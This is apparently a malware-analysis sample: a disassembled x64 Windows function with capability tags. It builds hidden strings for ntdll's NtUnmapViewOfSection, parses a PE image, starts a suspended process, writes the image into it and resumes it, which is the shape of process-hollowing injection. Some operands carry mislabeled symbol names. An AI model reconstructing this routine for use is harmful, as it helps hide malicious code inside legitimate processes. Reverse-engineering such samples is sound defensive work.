Function at 0x14000b2ec
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r14, r8
mov rdi, rdx
mov r15, rcx
xor ebx, ebx
mov r13b, bl
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
call fcn.140065964
mov r12d, eax
mov sil, byte [rbp + 0xc8]
test sil, sil
je 0x14000b3ee
lea rcx, [rbp - 0x68]
call fcn.14001269c
nop
mov r9b, byte [rbp + 0xc0]
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x38]
mov ecx, r12d
call fcn.140003a9c
xor r12d, r12d
test al, al
je 0x14000b3be
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000b3be
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rbx + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140007790
test eax, eax
je 0x14000b3be
xor r8d, r8d
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x48]
call fcn.14006af74
movzx ebx, bl
test eax, eax
lea eax, [r12 + 1]
cmovne ebx, eax
lea rcx, [rbp - 0x68]
call fcn.140012b90
test bl, bl
jne 0x14000b3f1
xor al, al
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r12d, r12d
lea rdx, [0x140073f80]
lea rcx, [rbp - 0x68]
call fcn.140005900
mov rcx, rax
call fcn.140012db8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rcx, [rbp - 0x68]
call fcn.140012b90
test rbx, rbx
je 0x14000b3cb
lea rdx, [0x140074b80]
lea rcx, [rsp + 0x78]
call fcn.140005900
mov rcx, rax
call fcn.140012db8
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009af10], rax
lea rcx, [rsp + 0x78]
call fcn.140012b90
lea rdx, [0x140074ba8]
lea rcx, [rsp + 0x78]
call fcn.140005900
mov rcx, rax
call fcn.140012db8
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009af18], rax
lea rcx, [rsp + 0x78]
call fcn.140012b90
lea rdx, [0x140074bd0]
lea rcx, [rsp + 0x78]
call fcn.140005900
mov rcx, rax
call fcn.140012db8
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009af20], rax
lea rcx, [rsp + 0x78]
call fcn.140012b90
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x14000b7c4
movsxd rax, dword [r15 + 0x3c]
lea rbx, [rax + r15]
cmp dword [rbx], 0x4550
jne 0x14000b7c4
lea rdx, [rbp + 0xc8]
mov rcx, rdi
call fcn.14006b434
mov ecx, 0x14c
mov eax, dword [rbp + 0xc8]
cmp word [rbx + 4], cx
jne 0x14000b510
test eax, eax
jne 0x14000b3cb
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x14000b524
cmp eax, 6
jne 0x14000b3cb
mov edx, 0x18
lea rcx, [rbp - 0x68]
call fcn.140015870
mov r12d, 0x68
mov edx, r12d
lea rcx, [rbp - 0x10]
call fcn.140015870
mov dword [rbp - 0x10], r12d
mov dword [rbp + 0x2c], 0x101
xor r12d, r12d
mov word [rbp + 0x30], r12w
lea rax, [rbp - 0x68]
xor r9d, r9d
test sil, sil
je 0x14000b5a2
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r8, r14
mov rdx, rdi
mov rcx, qword [rbp - 0x40]
call fcn.1400078e4
jmp 0x14000b5d5
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call fcn.14000e5ac
test eax, eax
je 0x14000b7c4
mov edx, ntohs
xor ecx, ecx
lea r9d, [rdx - 8]
mov r8d, 0x1000
call fcn.1400075f4
mov rdi, rax
mov qword [rbp - 0x28], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x60]
call fcn.140007858
mov rcx, qword [rbp - 0x68]
test eax, eax
je 0x14000b7bd
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x30]
call qword [0x14009af10]
lea r13, [rbx + 0x30]
mov rdx, qword [r13]
mov eax, dword [rbp - 0x30]
cmp rax, rdx
jne 0x14000b6c7
mov dword [rsp + 0x6b], 0x642e6c6c
mov word [rsp + 0x70], WSASetLastError
mov byte [rsp + 0x6f], WSASetLastError
mov word [rsp + 0x68], 0x746e
mov byte [rsp + 0x6a], 0x64
mov dword [rsp + 0x79], 0x6d6e5574
mov word [rbp - 0x78], 0x6974
mov word [rbp - 0x75], WSASetLastError
mov dword [rbp - 0x7e], 0x53664f77
mov dword [rsp + 0x7e], 0x65695670
mov word [rbp - 0x7a], 0x6365
mov byte [rsp + 0x78], 0x4e
mov byte [rbp - 0x76], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x7d], 0x61
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x68]
call rax
mov rdx, qword [rbx + 0x30]
neg byte [rbp + 0xb8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
mov r9d, 0x3000
mov rcx, qword [rbp - 0x68]
call fcn.14000e38c
mov r14, rax
mov rcx, qword [rbp - 0x68]
test rax, rax
je 0x14000b7b1
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], r12
mov r8, r15
mov rdx, rax
call fcn.14000716c
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x14000b75f
add rsi, rbx
xor r13d, r13d
lea edi, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r15
mov edx, dword [rsi - 8]
add rdx, r14
mov qword [rsp + 0x20], r13
mov rcx, qword [rbp - 0x68]
call fcn.14000716c
lea rsi, [rsi + 0x28]
add r12d, edi
movzx eax, word [rbx + 6]
cmp r12d, eax
jl 0x14000b729
mov rdi, qword [rbp - 0x28]
lea r13, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
xor r12d, r12d
mov qword [rsp + 0x20], r12
lea r9d, [r12 + 8]
mov r8, r13
mov rcx, qword [rbp - 0x68]
call fcn.14000716c
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp - 0x60]
call qword [0x14009af18]
mov rcx, qword [rbp - 0x60]
call qword [0x14009af20]
lea eax, [r12 + 1]
mov r13b, al
jmp 0x14000b7c4
xor edx, edx
call fcn.140006adc
mov r13b, r12b
jmp 0x14000b7c4
xor edx, edx
call fcn.140006adc
cmp qword [rbp - 0x48], r12
je 0x14000b844
lea rdx, [0x140074bf0]
lea rcx, [rbp - 0x68]
call fcn.140005900
nop
mov rcx, rax
call fcn.140012db8
mov rcx, rax
call fcn.14006c3c8
mov rbx, rax
lea rcx, [rbp - 0x68]
call fcn.140012b90
test rbx, rbx
je 0x14000b844
lea rdx, [0x140074c10]
lea rcx, [rsp + 0x78]
call fcn.140005900
mov rcx, rax
call fcn.140012db8
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009af78], rax
lea rcx, [rsp + 0x78]
call fcn.140012b90
mov rax, qword [0x14009af78]
test rax, rax
je 0x14000b844
mov rcx, qword [rbp - 0x48]
call rax
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000b856
call fcn.14006bfcc
mov qword [rbp - 0x40], r12
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000b864
call fcn.14006bfcc
mov al, r13b
jmp 0x14000b3cd